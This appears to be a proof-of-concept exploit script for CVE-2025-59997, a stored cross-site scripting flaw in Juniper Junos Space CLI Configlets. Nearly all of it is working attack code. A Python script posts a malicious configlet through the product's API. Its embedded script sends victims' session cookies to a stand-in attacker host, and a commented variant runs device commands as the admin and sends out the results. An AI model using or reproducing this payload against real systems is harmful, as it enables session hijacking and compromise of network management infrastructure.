CVE-2025-59997 Juniper Junos Space CLI Configlets XSS漏洞

# CVE-2025-59997 - Juniper Junos Space CLI Configlets XSS PoC # Vulnerability: Stored XSS in CLI Configlets pages # Affected: Junos Space versions before 24.1R4 import requests TARGET_URL = "https://junos-space-target.example.com" SESSION_COOKIE = "JSESSIONID=your_session_cookie_here" # Step 1: Authenticate to Junos Space (if not already authenticated) login_payload = { "username": "attacker_username", "password": "attacker_password" } # Step 2: Create a malicious CLI Configlet with injected XSS payload # The payload will execute in the context of any user viewing the Configlet xss_payload = """ <script> // Steal session cookies and send to attacker server var img = new Image(); img.src = 'https://attacker.example.com/steal?cookie=' + document.cookie; // Or perform actions as the victim (e.g., admin) // fetch('/api/space/command-management/cmd-execute', { // method: 'POST', // body: JSON.stringify({command: 'show configuration'}), // credentials: 'include' // }).then(r => r.text()).then(data => { // new Image().src = 'https://attacker.example.com/exfil?data=' + btoa(data); // }); </script> """ configlet_payload = { "name": "LegitimateConfiglet_<script>alert('XSS')</script>", "description": xss_payload, "scriptContent": "show version\n" + xss_payload, "category": "CLI" } # Step 3: Submit the malicious Configlet via Junos Space API headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/json" } response = requests.post( f"{TARGET_URL}/api/space/config-template-management/configlets", json=configlet_payload, headers=headers, verify=False ) if response.status_code == 200 or response.status_code == 201: print("[+] Malicious Configlet created successfully!") print("[+] When an admin views this Configlet, the XSS payload will execute.") else: print(f"[-] Failed to create Configlet. Status: {response.status_code}") print(f"[-] Response: {response.text}") # Alternative: Simple URL-based PoC for reflected/URL-injected variant # https://junos-space-target.example.com/configlets/view?name=<script>alert(document.domain)</script>